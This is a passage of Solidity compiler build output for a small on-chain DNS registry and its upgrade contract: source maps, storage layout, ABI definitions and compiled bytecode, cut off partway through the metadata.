:::0;:15:::1;;;;;;;;;;;;;;;;;;;;;;;;3349:42;;3405:5;3395:2;:7;;:15;;;;3422:3;3414:2;:5;;;:11;;;;;;;;;;;;;;;;;;1409:1;3093:336:::0;;:::o;3579:173::-;1399:5;1385:19;;:10;:19;;;1377:28;;;;;;3635:16:::1;:14;:16::i;:::-;3627:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3701:8;3728:1;3710:8;:15;;;;:19;3701:29;;;;;;;;;;;;;;;;;;;3694:36;;;;;;;;;;;;;;;;;;;;;;;3734:8;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3579:173::o:0;2640:297::-;2716:4;2726:11;2740:8;:15;;;;2726:29;;2763:16;:14;:16::i;:::-;2759:33;;;2784:8;;;;;;2759:33;2801:6;2796:121;2817:6;2813:1;:10;2796:121;;;2846:8;2855:1;2846:11;;;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;2837:23;;:5;:23;;;:63;;;;;2894:6;2864:36;;;;;;;;:8;2873:1;2864:11;;;;;;;;;;;;;;;;;;:19;;:26;2884:5;2864:26;;;;;;;;;;;;;;;;;;;;;;;;;:36;;;;;;;;;2837:63;2833:84;;;2913:4;2906:11;;;;;;2833:84;2825:3;;;;;2796:121;;;;2928:5;2921:12;;;2640:297;;;;;:::o;1067:31::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2107:457::-;2168:4;2174;2184:6;2193:8;:15;;;;2184:24;;2245:1;2240;:6;2236:38;;;2259:5;2271:1;2251:23;;;;;;;2236:38;2283:16;:14;:16::i;:::-;2279:56;;;2320:1;2315;:6;;2308:14;;;;2327:3;;;;;;2279:56;2373:1;2368;:6;2364:38;;;2387:5;2399:1;2379:23;;;;;;;2364:38;2412:8;2423:1;2412:12;;2407:125;2432:1;2426:3;:7;2407:125;;;2485:6;2449:42;;;;;;;;:8;2464:1;2458:3;:7;2449:17;;;;;;;;;;;;;;;;;;:25;;:32;2475:5;2449:32;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;;;;;;2445:87;;;2505:4;2511:8;2526:1;2520:3;:7;2511:17;;;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;2497:35;;;;;;;;2445:87;2435:5;;;;;;2407:125;;;;2545:5;2557:1;2537:23;;;;;2107:457;;;;:::o;1583:174::-;1627:16;:14;:16::i;:::-;1619:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;1683:6;1692:8;:15;;;;1683:24;;1749:4;1711:8;1724:1;1720;:5;1711:15;;;;;;;;;;;;;;;;;;:23;;:35;1735:10;1711:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;;;;;;;1583:174;;:::o;3814:143::-;3861:4;3871:6;3880:8;:15;;;;3871:24;;3910:1;3906;:5;:47;;;;;3938:15;3915:8;3928:1;3924;:5;3915:15;;;;;;;;;;;;;;;;;;:20;;;:38;3906:47;3899:54;;;3814:143;:::o;1268:30::-;;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:165::-;;249:6;236:20;227:29;;265:46;305:5;265:46;:::i;:::-;217:100;;;;:::o;323:155::-;;415:6;402:20;393:29;;431:41;466:5;431:41;:::i;:::-;383:95;;;;:::o;484:139::-;;568:6;555:20;546:29;;584:33;611:5;584:33;:::i;:::-;536:87;;;;:::o;629:260::-;;737:2;725:9;716:7;712:23;708:32;705:2;;;753:1;750;743:12;705:2;795:1;819:53;864:7;855:6;844:9;840:22;819:53;:::i;:::-;809:63;;767:115;695:194;;;;:::o;895:429::-;;;1033:2;1021:9;1012:7;1008:23;1004:32;1001:2;;;1049:1;1046;1039:12;1001:2;1091:1;1115:66;1173:7;1164:6;1153:9;1149:22;1115:66;:::i;:::-;1105:76;;1063:128;1229:2;1254:53;1299:7;1290:6;1279:9;1275:22;1254:53;:::i;:::-;1244:63;;1201:116;991:333;;;;;:::o;1330:276::-;;1446:2;1434:9;1425:7;1421:23;1417:32;1414:2;;;1462:1;1459;1452:12;1414:2;1504:1;1528:61;1581:7;1572:6;1561:9;1557:22;1528:61;:::i;:::-;1518:71;;1476:123;1404:202;;;;:::o;1612:260::-;;1720:2;1708:9;1699:7;1695:23;1691:32;1688:2;;;1736:1;1733;1726:12;1688:2;1778:1;1802:53;1847:7;1838:6;1827:9;1823:22;1802:53;:::i;:::-;1792:63;;1750:115;1678:194;;;;:::o;1878:429::-;;;2016:2;2004:9;1995:7;1991:23;1987:32;1984:2;;;2032:1;2029;2022:12;1984:2;2074:1;2098:53;2143:7;2134:6;2123:9;2119:22;2098:53;:::i;:::-;2088:63;;2046:115;2199:2;2224:66;2282:7;2273:6;2262:9;2258:22;2224:66;:::i;:::-;2214:76;;2171:129;1974:333;;;;;:::o;2313:118::-;2400:24;2418:5;2400:24;:::i;:::-;2395:3;2388:37;2378:53;;:::o;2437:109::-;2518:21;2533:5;2518:21;:::i;:::-;2513:3;2506:34;2496:50;;:::o;2552:157::-;2652:50;2696:5;2652:50;:::i;:::-;2647:3;2640:63;2630:79;;:::o;2715:329::-;;2878:67;2942:2;2937:3;2878:67;:::i;:::-;2871:74;;2975:33;2971:1;2966:3;2962:11;2955:54;3035:2;3030:3;3026:12;3019:19;;2861:183;;;:::o;3050:321::-;;3213:67;3277:2;3272:3;3213:67;:::i;:::-;3206:74;;3310:25;3306:1;3301:3;3297:11;3290:46;3362:2;3357:3;3353:12;3346:19;;3196:175;;;:::o;3377:325::-;;3540:67;3604:2;3599:3;3540:67;:::i;:::-;3533:74;;3637:29;3633:1;3628:3;3624:11;3617:50;3693:2;3688:3;3684:12;3677:19;;3523:179;;;:::o;3708:366::-;;3871:67;3935:2;3930:3;3871:67;:::i;:::-;3864:74;;3968:34;3964:1;3959:3;3955:11;3948:55;4034:4;4029:2;4024:3;4020:12;4013:26;4065:2;4060:3;4056:12;4049:19;;3854:220;;;:::o;4080:322::-;;4243:67;4307:2;4302:3;4243:67;:::i;:::-;4236:74;;4340:26;4336:1;4331:3;4327:11;4320:47;4393:2;4388:3;4384:12;4377:19;;4226:176;;;:::o;4408:118::-;4495:24;4513:5;4495:24;:::i;:::-;4490:3;4483:37;4473:53;;:::o;4532:222::-;;4663:2;4652:9;4648:18;4640:26;;4676:71;4744:1;4733:9;4729:17;4720:6;4676:71;:::i;:::-;4630:124;;;;:::o;4760:210::-;;4885:2;4874:9;4870:18;4862:26;;4898:65;4960:1;4949:9;4945:17;4936:6;4898:65;:::i;:::-;4852:118;;;;:::o;4976:346::-;;5142:2;5131:9;5127:18;5119:26;;5155:65;5217:1;5206:9;5202:17;5193:6;5155:65;:::i;:::-;5230:85;5311:2;5300:9;5296:18;5287:6;5230:85;:::i;:::-;5109:213;;;;;:::o;5328:419::-;;5532:2;5521:9;5517:18;5509:26;;5581:9;5575:4;5571:20;5567:1;5556:9;5552:17;5545:47;5609:131;5735:4;5609:131;:::i;:::-;5601:139;;5499:248;;;:::o;5753:419::-;;5957:2;5946:9;5942:18;5934:26;;6006:9;6000:4;5996:20;5992:1;5981:9;5977:17;5970:47;6034:131;6160:4;6034:131;:::i;:::-;6026:139;;5924:248;;;:::o;6178:419::-;;6382:2;6371:9;6367:18;6359:26;;6431:9;6425:4;6421:20;6417:1;6406:9;6402:17;6395:47;6459:131;6585:4;6459:131;:::i;:::-;6451:139;;6349:248;;;:::o;6603:419::-;;6807:2;6796:9;6792:18;6784:26;;6856:9;6850:4;6846:20;6842:1;6831:9;6827:17;6820:47;6884:131;7010:4;6884:131;:::i;:::-;6876:139;;6774:248;;;:::o;7028:419::-;;7232:2;7221:9;7217:18;7209:26;;7281:9;7275:4;7271:20;7267:1;7256:9;7252:17;7245:47;7309:131;7435:4;7309:131;:::i;:::-;7301:139;;7199:248;;;:::o;7453:358::-;;7625:2;7614:9;7610:18;7602:26;;7638:71;7706:1;7695:9;7691:17;7682:6;7638:71;:::i;:::-;7719:85;7800:2;7789:9;7785:18;7776:6;7719:85;:::i;:::-;7592:219;;;;;:::o;7817:169::-;;7935:6;7930:3;7923:19;7975:4;7970:3;7966:14;7951:29;;7913:73;;;;:::o;7992:96::-;;8058:24;8076:5;8058:24;:::i;:::-;8047:35;;8037:51;;;:::o;8094:90::-;;8171:5;8164:13;8157:21;8146:32;;8136:48;;;:::o;8190:109::-;;8269:24;8287:5;8269:24;:::i;:::-;8258:35;;8248:51;;;:::o;8305:126::-;;8382:42;8375:5;8371:54;8360:65;;8350:81;;;:::o;8437:77::-;;8503:5;8492:16;;8482:32;;;:::o;8520:152::-;;8616:50;8660:5;8616:50;:::i;:::-;8603:63;;8593:79;;;:::o;8678:126::-;;8774:24;8792:5;8774:24;:::i;:::-;8761:37;;8751:53;;;:::o;8810:122::-;8883:24;8901:5;8883:24;:::i;:::-;8876:5;8873:35;8863:2;;8922:1;8919;8912:12;8863:2;8853:79;:::o;8938:148::-;9024:37;9055:5;9024:37;:::i;:::-;9017:5;9014:48;9004:2;;9076:1;9073;9066:12;9004:2;8994:92;:::o;9092:107::-;9173:1;9166:5;9163:12;9153:2;;9189:1;9186;9179:12;9153:2;9143:56;:::o;9205:122::-;9278:24;9296:5;9278:24;:::i;:::-;9271:5;9268:35;9258:2;;9317:1;9314;9307:12;9258:2;9248:79;:::o","storage-layout":"{\"storage\":[{\"astId\":1744,\"contract\":\"src/Upgrade.sol:Upgrade\",\"label\":\"upgrades\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\"}],\"types\":{\"t_address\":{\"encoding\":\"inplace\",\"label\":\"address\",\"numberOfBytes\":\"20\"},\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\":{\"base\":\"t_struct(UpgradeConfig)1740_storage\",\"encoding\":\"dynamic_array\",\"label\":\"struct Upgrade.UpgradeConfig[]\",\"numberOfBytes\":\"32\"},\"t_contract(IDNS)1462\":{\"encoding\":\"inplace\",\"label\":\"contract IDNS\",\"numberOfBytes\":\"20\"},\"t_enum(Opt)1731\":{\"encoding\":\"inplace\",\"label\":\"enum Upgrade.Opt\",\"numberOfBytes\":\"1\"},\"t_mapping(t_address,t_enum(Opt)1731)\":{\"encoding\":\"mapping\",\"key\":\"t_address\",\"label\":\"mapping(address => enum Upgrade.Opt)\",\"numberOfBytes\":\"32\",\"value\":\"t_enum(Opt)1731\"},\"t_struct(UpgradeConfig)1740_storage\":{\"encoding\":\"inplace\",\"label\":\"struct Upgrade.UpgradeConfig\",\"members\":[{\"astId\":1735,\"contract\":\"src/Upgrade.sol:Upgrade\",\"label\":\"userOpt\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_mapping(t_address,t_enum(Opt)1731)\"},{\"astId\":1737,\"contract\":\"src/Upgrade.sol:Upgrade\",\"label\":\"when\",\"offset\":0,\"slot\":\"1\",\"type\":\"t_uint256\"},{\"astId\":1739,\"contract\":\"src/Upgrade.sol:Upgrade\",\"label\":\"to\",\"offset\":0,\"slot\":\"2\",\"type\":\"t_contract(IDNS)1462\"}],\"numberOfBytes\":\"96\"},\"t_uint256\":{\"encoding\":\"inplace\",\"label\":\"uint256\",\"numberOfBytes\":\"32\"}}}"},"src/UpgradedDNS.sol:UpgradedDNS":{"abi":"[{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"},{\"internalType\":\"contract Upgrade\",\"name\":\"_info\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"originalDNS\",\"outputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradeInfo\",\"outputs\":[{\"internalType\":\"contract Upgrade\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]","bin":"60c06040523480156200001157600080fd5b5060405162001158380380620011588339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610f78620001e06000398061012a52806107d55250806103d152806107785250610f786000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c80630528b34514610067578063461a44781461008557806389404978146100b65780639735009b146100d2578063f7a46696146100f0578063fbf58b3e1461010c575b600080fd5b61006f610128565b60405161007c9190610cc4565b60405180910390f35b61009f600480360381019061009a9190610943565b61014c565b6040516100ad929190610c57565b60405180910390f35b6100d060048036038101906100cb9190610a2c565b6101c9565b005b6100da6103cf565b6040516100e79190610c80565b60405180910390f35b61010a600480360381019061010591906109d8565b6103f3565b005b61012660048036038101906101219190610984565b61059d565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060008360405161015f9190610c40565b908152602001604051809103902060000160009054906101000a900460e01b60008460405161018e9190610c40565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561022f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022690610d1f565b60405180910390fd5b6000835111610273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026a90610cdf565b60405180910390fd5b600080846040516102849190610c40565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156103275750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d90610d3f565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080836040516104049190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049e57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806104d357506104d2338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b610512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050990610d5f565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90610d1f565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516105ae9190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561064857503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061067d575061067c338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b6106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b390610d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390610cff565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d35760019050610881565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635efd538484846040518363ffffffff1660e01b815260040161082e929190610c9b565b60206040518083038186803b15801561084657600080fd5b505afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e919061091a565b90505b92915050565b60008135905061089681610efd565b92915050565b6000815190506108ab81610f14565b92915050565b6000813590506108c081610f2b565b92915050565b600082601f8301126108d757600080fd5b81356108ea6108e582610db0565b610d7f565b9150808252602083016020830185838301111561090657600080fd5b610911838284610eb9565b50505092915050565b60006020828403121561092c57600080fd5b600061093a8482850161089c565b91505092915050565b60006020828403121561095557600080fd5b600082013567ffffffffffffffff81111561096f57600080fd5b61097b848285016108c6565b91505092915050565b6000806040838503121561099757600080fd5b600083013567ffffffffffffffff8111156109b157600080fd5b6109bd858286016108c6565b92505060206109ce85828601610887565b9150509250929050565b600080604083850312156109eb57600080fd5b600083013567ffffffffffffffff811115610a0557600080fd5b610a11858286016108c6565b9250506020610a22858286016108b1565b9150509250929050565b600080600060608486031215610a4157600080fd5b600084013567ffffffffffffffff811115610a5b57600080fd5b610a67868287016108c6565b9350506020610a78868287016108b1565b9250506040610a8986828701610887565b9150509250925092565b610a9c81610e07565b82525050565b610aab81610e25565b82525050565b610aba81610e71565b82525050565b610ac981610e95565b82525050565b6000610ada82610de0565b610ae48185610dfc565b9350610af4818560208601610ec8565b80840191505092915050565b6000610b0d600f83610deb565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610b4d600e83610deb565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610b8d600b83610deb565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610bcd601583610deb565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610c0d600e83610deb565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610c4c8284610acf565b915081905092915050565b6000604082019050610c6c6000830185610aa2565b610c796020830184610a93565b9392505050565b6000602082019050610c956000830184610ab1565b92915050565b6000604082019050610cb06000830185610ab1565b610cbd6020830184610a93565b9392505050565b6000602082019050610cd96000830184610ac0565b92915050565b60006020820190508181036000830152610cf881610b00565b9050919050565b60006020820190508181036000830152610d1881610b40565b9050919050565b60006020820190508181036000830152610d3881610b80565b9050919050565b60006020820190508181036000830152610d5881610bc0565b9050919050565b60006020820190508181036000830152610d7881610c00565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610da657610da5610efb565b5b8060405250919050565b600067ffffffffffffffff821115610dcb57610dca610efb565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610e1282610e51565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e7c82610e83565b9050919050565b6000610e8e82610e51565b9050919050565b6000610ea082610ea7565b9050919050565b6000610eb282610e51565b9050919050565b82818337600083830152505050565b60005b83811015610ee6578082015181840152602081019050610ecb565b83811115610ef5576000848401525b50505050565bfe5b610f0681610e07565b8114610f1157600080fd5b50565b610f1d81610e19565b8114610f2857600080fd5b50565b610f3481610e25565b8114610f3f57600080fd5b5056fea2646970667358221220eae0b7acf5616ffe9f18fa67a8e9d5245f621f3a5ce549e7c2ff61c9cfcd5f6d64736f6c63430007040033","bin-runtime":"608060405234801561001057600080fd5b50600436106100625760003560e01c80630528b34514610067578063461a44781461008557806389404978146100b65780639735009b146100d2578063f7a46696146100f0578063fbf58b3e1461010c575b600080fd5b61006f610128565b60405161007c9190610cc4565b60405180910390f35b61009f600480360381019061009a9190610943565b61014c565b6040516100ad929190610c57565b60405180910390f35b6100d060048036038101906100cb9190610a2c565b6101c9565b005b6100da6103cf565b6040516100e79190610c80565b60405180910390f35b61010a600480360381019061010591906109d8565b6103f3565b005b61012660048036038101906101219190610984565b61059d565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060008360405161015f9190610c40565b908152602001604051809103902060000160009054906101000a900460e01b60008460405161018e9190610c40565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561022f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022690610d1f565b60405180910390fd5b6000835111610273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026a90610cdf565b60405180910390fd5b600080846040516102849190610c40565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156103275750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d90610d3f565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080836040516104049190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049e57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806104d357506104d2338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b610512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050990610d5f565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90610d1f565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516105ae9190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561064857503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061067d575061067c338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b6106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b390610d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390610cff565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d35760019050610881565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635efd538484846040518363ffffffff1660e01b815260040161082e929190610c9b565b60206040518083038186803b15801561084657600080fd5b505afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e919061091a565b90505b92915050565b60008135905061089681610efd565b92915050565b6000815190506108ab81610f14565b92915050565b6000813590506108c081610f2b565b92915050565b600082601f8301126108d757600080fd5b81356108ea6108e582610db0565b610d7f565b9150808252602083016020830185838301111561090657600080fd5b610911838284610eb9565b50505092915050565b60006020828403121561092c57600080fd5b600061093a8482850161089c565b91505092915050565b60006020828403121561095557600080fd5b600082013567ffffffffffffffff81111561096f57600080fd5b61097b848285016108c6565b91505092915050565b6000806040838503121561099757600080fd5b600083013567ffffffffffffffff8111156109b157600080fd5b6109bd858286016108c6565b92505060206109ce85828601610887565b9150509250929050565b600080604083850312156109eb57600080fd5b600083013567ffffffffffffffff811115610a0557600080fd5b610a11858286016108c6565b9250506020610a22858286016108b1565b9150509250929050565b600080600060608486031215610a4157600080fd5b600084013567ffffffffffffffff811115610a5b57600080fd5b610a67868287016108c6565b9350506020610a78868287016108b1565b9250506040610a8986828701610887565b9150509250925092565b610a9c81610e07565b82525050565b610aab81610e25565b82525050565b610aba81610e71565b82525050565b610ac981610e95565b82525050565b6000610ada82610de0565b610ae48185610dfc565b9350610af4818560208601610ec8565b80840191505092915050565b6000610b0d600f83610deb565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610b4d600e83610deb565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610b8d600b83610deb565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610bcd601583610deb565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610c0d600e83610deb565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610c4c8284610acf565b915081905092915050565b6000604082019050610c6c6000830185610aa2565b610c796020830184610a93565b9392505050565b6000602082019050610c956000830184610ab1565b92915050565b6000604082019050610cb06000830185610ab1565b610cbd6020830184610a93565b9392505050565b6000602082019050610cd96000830184610ac0565b92915050565b60006020820190508181036000830152610cf881610b00565b9050919050565b60006020820190508181036000830152610d1881610b40565b9050919050565b60006020820190508181036000830152610d3881610b80565b9050919050565b60006020820190508181036000830152610d5881610bc0565b9050919050565b60006020820190508181036000830152610d7881610c00565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610da657610da5610efb565b5b8060405250919050565b600067ffffffffffffffff821115610dcb57610dca610efb565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610e1282610e51565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e7c82610e83565b9050919050565b6000610e8e82610e51565b9050919050565b6000610ea082610ea7565b9050919050565b6000610eb282610e51565b9050919050565b82818337600083830152505050565b60005b83811015610ee6578082015181840152602081019050610ecb565b83811115610ef5576000848401525b50505050565bfe5b610f0681610e07565b8114610f1157600080fd5b50565b610f1d81610e19565b8114610f2857600080fd5b50565b610f3481610e25565b8114610f3f57600080fd5b5056fea2646970667358221220eae0b7acf5616ffe9f18fa67a8e9d5245f621f3a5ce549e7c2ff61c9cfcd5f6d64736f6c63430007040033","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"},{\"internalType\":\"contract Upgrade\",\"name\":\"_info\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"originalDNS\",\"outputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgradeInfo\",\"outputs\